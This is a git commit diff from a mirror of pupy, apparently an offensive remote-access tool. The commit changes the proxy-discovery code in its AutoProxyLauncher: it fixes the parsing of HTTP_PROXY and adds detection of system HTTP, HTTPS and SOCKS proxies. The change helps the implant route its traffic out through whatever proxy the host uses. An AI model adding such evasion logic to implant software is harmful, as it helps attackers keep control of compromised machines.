mirror of https://github.com/n1nj4sec/pupy.git
Fixed autoproxy bug added getproxies() proxy detection
This commit is contained in:
parent
6f942ce320
commit
3bbdb497d2
|
@ -12,6 +12,8 @@ import os
|
||||||
import socket
|
import socket
|
||||||
import time
|
import time
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import urllib
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from urllib import request as urllib
|
from urllib import request as urllib
|
||||||
except ImportError:
|
except ImportError:
|
||||||
|
@ -92,12 +94,29 @@ def get_proxies(wpad_timeout=600):
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
env_proxy=os.environ.get('HTTP_PROXY')
|
env_proxy=os.environ.get('HTTP_PROXY')
|
||||||
if env_proxy:
|
if env_proxy:
|
||||||
user, passwd, proxy=re.match("^(?:https?://)?(?:(?P<user>\w+):?(?P<password>\w*)@)?(?P<proxy_addr>\S+:[0-9]+)$","http://proxy.domain.com:3128").groups()
|
user, passwd, proxy=re.match("^(?:https?://)?(?:(?P<user>\w+):?(?P<password>\w*)@)?(?P<proxy_addr>\S+:[0-9]+)$",env_proxy).groups()
|
||||||
yield ('HTTP', proxy, user, passwd)
|
yield ('HTTP', proxy, user, passwd)
|
||||||
|
|
||||||
|
try:
|
||||||
|
python_proxies = urllib.getproxies()
|
||||||
|
except:
|
||||||
|
python_proxies = urllib.request.getproxies()
|
||||||
|
|
||||||
|
if len(python_proxies) > 0:
|
||||||
|
for key in python_proxies:
|
||||||
|
if key.upper() in ('HTTP', 'HTTPS', 'SOCKS') and python_proxies[key] != '':
|
||||||
|
user, passwd, proxy=re.match("^(?:https?://)?(?:(?P<user>\w+):?(?P<password>\w*)@)?(?P<proxy_addr>\S+:[0-9]+)$",python_proxies[key]).groups()
|
||||||
|
|
||||||
|
if key.upper() == 'SOCKS':
|
||||||
|
key = 'SOCKS4'
|
||||||
|
elif key.upper() == 'HTTPS':
|
||||||
|
key = 'HTTP'
|
||||||
|
|
||||||
|
yield(key.upper(), proxy, user, passwd)
|
||||||
|
|
||||||
if last_wpad is None or time.time()-last_wpad > wpad_timeout: # to avoid flooding the network with wpad requests :)
|
if last_wpad is None or time.time()-last_wpad > wpad_timeout: # to avoid flooding the network with wpad requests :)
|
||||||
last_wpad=time.time()
|
last_wpad=time.time()
|
||||||
try:
|
try:
|
||||||
|
@ -111,7 +130,6 @@ def get_proxies(wpad_timeout=600):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class AutoProxyLauncher(BaseLauncher):
|
class AutoProxyLauncher(BaseLauncher):
|
||||||
"""
|
"""
|
||||||
Automatically search a HTTP/SOCKS proxy on the system and use that proxy with the specified TCP transport.
|
Automatically search a HTTP/SOCKS proxy on the system and use that proxy with the specified TCP transport.
|
||||||
|
|
Loading…
Reference in New Issue